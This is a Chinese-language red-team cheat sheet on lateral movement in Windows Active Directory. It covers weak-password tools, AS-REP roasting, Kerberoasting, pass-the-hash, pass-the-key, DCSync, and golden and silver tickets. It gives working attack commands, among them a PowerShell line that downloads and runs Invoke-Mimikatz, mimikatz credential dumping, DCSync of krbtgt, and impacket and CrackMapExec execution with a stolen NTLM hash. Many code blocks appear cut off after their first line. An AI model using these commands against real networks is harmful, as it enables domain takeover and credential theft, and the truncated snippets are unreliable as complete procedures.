内网安全-横向移动
弱口令
1.超级弱口令检查工具
https://github.com/shack2/SNETCracker
2.CrackMapExec
https://github.com/byt3bl33d3r/CrackMapExec
3.NetExec
https://github.com/Pennyw0rth/NetExec
4.PsMapExec
https://github.com/The-Viper-One/PsMapExec
账号密码爆破
https://github.com/ropnop/kerbrute/releases
#爆账号 |
AS-REP Roasting
在用户开启Dot not require Kerberos preauthentication(不要求 Kerberos 预身份验证)时,此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成Kerberos 5 AS-REP etype 23 (18200) 的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令。(局限性大)
域内主机
1.Rubeus
https://github.com/GhostPack/Rubeus
如果当前主机在域内的话,会自动搜索域内设置了“不要求kerberos预身份验证的用户”,工具会将AS-REP响应包中返回的用户Hash加密的Login Session Key以John能破解的格式保存为hash.txt
Rubeus.exe asreproast /format:john /outfile:hash.txt |
2.ASREPRoast.ps1
如果当前主机在域内的话,通过执行如下命令导入 ASREPRoast.ps1 脚本并进行操作。该脚本会自动搜索域内设置了不要求 Kerberos 预身份验证的域用户, 并以该用户身份发送 AS-REQ 请求,由于不需要预身份验证,所以域控会直接返回 AS-REP 回复包。然后该工具会打印出不要求 Kerberos 预身份验证的用户名,DN以及用户 Hash 加密的 Login Session Key 也就是 Hash。然后我们使用 select 语句过滤出 Hash。
Import-Module .\ASREPRoast.ps1 |
3.PowerView.ps1
Import-Module .\PowerView.ps1 |
非域内主机
也得有个域账号密码(好鸡肋啊)
查询设置了不需要kerberos预身份验证的域内账号
adfind -h 192.168.1.1:389 -u test\hack -up P@ss1234 -f "useraccountcontrol: 1.2.840.113556.1.4.803:=4194304" -dn |
获取test用户的Login Session Key Hash
Import-Module .\ASREPRoast.ps1 |
或者直接爆破(不需要域内的账号密码)
python3 GetNPUsers.py -dc-ip 192.168.1.1 -usersfile users.txt -format john test.com/ |
hash的碰撞就很简单了,在$krb5asrep后面添加$23在$krb5asrep后面添加$23就行了
john --wordlist=/opt/pass.txt hash.txt |
Kerberoasting
Kerberos协议进行到第四步的时候,不管客户端有无权限,只要TGT正确,就返回TGS票据(服务票据);也就是说域内任何用户都可以向域内任何服务请求TGS票据,再加上TGS票据的生成是使用服务账户的hash进行RC4-HMAC
算法加密,站在利用的角度,我们是可以尝试使用强大的字典进行暴力破解TGS票据的
Hash传递(PTH)
Hash传递攻击,也称为Pass the Hash (PTH),内网横向最常用的手段之一。
攻击者获取目标系统用户的密码哈希值(通常是NTLM Hash),然后直接使用该哈希值进行身份验证,绕过了明文密码的需求。
原理: 由于整个NTLM认证的过程中都是用的NTLM Hash去加密,所以我们拿到了Hash,其实也相当于变相拿到了密码,只不过不是明文的而已。
利用场景:
- 目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码,只能拿到Hash
- 随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到Hash却解不开的情况,只能去传递Hash
获取hash
pc
1.mimikatz
直接使用
#管理员权限运行 |
非交互式使用
mimikatz.exe "log a.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit" |
注册表打包
reg save HKLM\SYSTEM SystemBkup.hiv |
powershell
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz |
sqldumper
白名单文件
tasklist /svc |findstr lsass.exe |
找新路子
可以去GitHub上找找[最新发布](https://github.com/search?q=dump lsass&type=repositories)的一些可用的,不行的话就再魔改。
2.msf
hashdump |
域控
由于AD的存储文件为 NTDS.dit
,因此通过该文件,我们可以获取所有域用户的Hash
mimikatz
这里和普通PC一样,都是从 lsass.exe 的内存中获取到Hash。只能拿到本地用户的Hash,即域管的Hash,并不能获取整个域的用户Hash。
NTDS.dit
由于AD的存储文件为 NTDS.dit
,因此通过该文件,我们可以获取所有域用户的Hash
#方法一 |
DCSYNC
DCSync是一种域渗透技术,利用目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口向域控发起数据同步请求,以模仿域控从真实的域控中获取用户散列值。攻击者可以通过DCSync获取域内用户的密码哈希值,需要域管权限或者有DCSYNC权限的用户,一般情况下只有域管。
#使用 mimikatz(本地) |
hash利用
impacket套件
Impacket is a collection of Python classes for working with network protocols.
WMIEXEC
# python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@IP "命令" # LM Hash不知道的情况下,可以全部用0代替 |
SMBEXEC
# python smbexec.py -hashes LM Hash:NT Hash 域名/用户名@IP |
PSEXEC
# python psexec.py -hashes LM Hash:NT Hash 域名/用户名@IP |
CME
前面探测服务时用到了CrackMapExec,它也可以用来Hash传递。
cme smb 172.16.93.15/24 -u administrator -H 3ac1e294fabedf7d2bfa80fec59f59b9 -x whoami |
由于cme不再更新,可以用NetExec或者PsMapExec平替。
msf
exploit/windows/smb/psexec |
mimikatz
# 没有域的时候,domain写 workgroup 就行 |
密钥传递(PTK)
pass the key (密钥传递攻击,简称 PTK)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似 PTH 的功能;简单来说就是使用AES256或者AES128的方式进行传递。
需要满足如下条件:
ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash. |
过程
#使用mimikatz获取aes key |
(这玩意就是挺鸡肋的 貌似只能在入口机上用 而且得在域环境中)
票据传递(PTT)
黄金票据
AS-REP中AS返回给client的 TGT 中的 enc-part 是使用 krbtgt 用户的hash进行加密的,所以如果我们获取了krbtgt的hash就可以伪造任意用户登录域控,虽然域内用户密码常会修改,但是krbtgt是很少修改的。
#使用mimikatz获取krbtgt的SID和hash |
白银票据
白银票据不同于黄金票据,它不需要和域控交互,原理是伪造TGS(服务票据),使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
需要知道域sid号与账号的ntml hash
CIFS读文件
kerberos::purge |
ldap服务权限
查看是否可以通过dcsync与域控同步,如果拿到krbtgt的hash就万事大吉了
lsadump::dcsync /dc:dc.de1ay.com /domain:de1ay.com /user:krbtgt |
如果拿不到则说明当前权限有问题